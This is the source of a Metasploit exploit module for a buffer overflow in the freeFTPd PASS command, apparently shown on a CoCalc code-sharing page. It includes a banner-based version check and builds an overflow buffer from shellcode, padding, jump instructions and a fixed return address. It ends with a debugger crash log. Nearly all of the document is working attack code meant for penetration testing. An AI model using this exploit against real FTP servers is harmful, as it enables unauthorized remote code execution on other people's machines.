CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/freeftpd_pass.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Ftp
10
11
def initialize(info={})
12
super(update_info(info,
13
'Name' => "freeFTPd PASS Command Buffer Overflow",
14
'Description' => %q{
15
freeFTPd 1.0.10 and below contains an overflow condition that is triggered as
16
user-supplied input is not properly validated when handling a specially crafted
17
PASS command. This may allow a remote attacker to cause a buffer overflow,
18
resulting in a denial of service or allow the execution of arbitrary code.
19
20
freeFTPd must have an account set to authorization anonymous user account.
21
},
22
'License' => MSF_LICENSE,
23
'Author' =>
24
[
25
'Wireghoul', # Initial discovery, PoC
26
'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
27
],
28
'References' =>
29
[
30
['OSVDB', '96517'],
31
['EDB', '27747'],
32
['BID', '61905']
33
],
34
'Payload' =>
35
{
36
'BadChars' => "\x00\x0a\x0d",
37
},
38
'Platform' => 'win',
39
'Arch' => ARCH_X86,
40
'Targets' =>
41
[
42
['freeFTPd 1.0.10 and below on Windows Desktop Version',
43
{
44
'Ret' => 0x004014bb, # pop edi # pop esi # ret 0x04 [FreeFTPDService.exe]
45
'Offset' => 801,
46
}
47
],
48
],
49
'Privileged' => false,
50
'DisclosureDate' => '2013-08-20',
51
'DefaultTarget' => 0))
52
53
register_options([
54
OptString.new('FTPUSER', [ true, 'The username to authenticate with', 'anonymous' ], fallbacks: ['USERNAME']),
55
56
])
57
58
# We're triggering the bug via the PASS command, no point to have pass as configurable
59
# option.
60
deregister_options('FTPPASS')
61
62
end
63
64
def check
65
66
connect
67
disconnect
68
69
# All versions including and above version 1.0 report "220 Hello, I'm freeFTPd 1.0"
70
# when banner grabbing.
71
if banner =~ /freeFTPd 1\.0/
72
return Exploit::CheckCode::Appears
73
else
74
return Exploit::CheckCode::Safe
75
76
end
77
end
78
79
def exploit
80
81
connect
82
print_status("Trying target #{target.name} with user #{user()}...")
83
84
off = target['Offset'] - 9
85
86
bof = payload.encoded
87
bof << rand_text(off - payload.encoded.length)
88
bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string
89
bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string
90
bof << rand_text(2)
91
bof << [target.ret].pack('V')
92
93
send_user(datastore['FTPUSER'])
94
raw_send("PASS #{bof}\r\n")
95
disconnect
96
97
end
98
end
99
100
=begin
101
(c78.ea4): Access violation - code c0000005 (first chance)
102
First chance exceptions are reported before any exception handling.
103
This exception may be expected and handled.
104
eax=0012b324 ebx=01805f28 ecx=00000019 edx=00000057 esi=4141413d edi=00181e18
105
eip=76c23e8d esp=0012b310 ebp=0012b328 iopl=0 nv up ei pl nz na pe nc
106
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
107
OLEAUT32!SysFreeString+0x55:
108
76c23e8d ff36 push dword ptr [esi] ds:0023:4141413d=????????
109
110
FAULTING_IP:
111
OLEAUT32!SysFreeString+55
112
76c23e8d ff36 push dword ptr [esi]
113
114
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
115
ExceptionAddress: 76c23e8d (OLEAUT32!SysFreeString+0x00000055)
116
ExceptionCode: c0000005 (Access violation)
117
ExceptionFlags: 00000000
118
NumberParameters: 2
119
Parameter[0]: 00000000
120
Parameter[1]: 4141413d
121
Attempt to read from address 4141413d
122
=end
123
124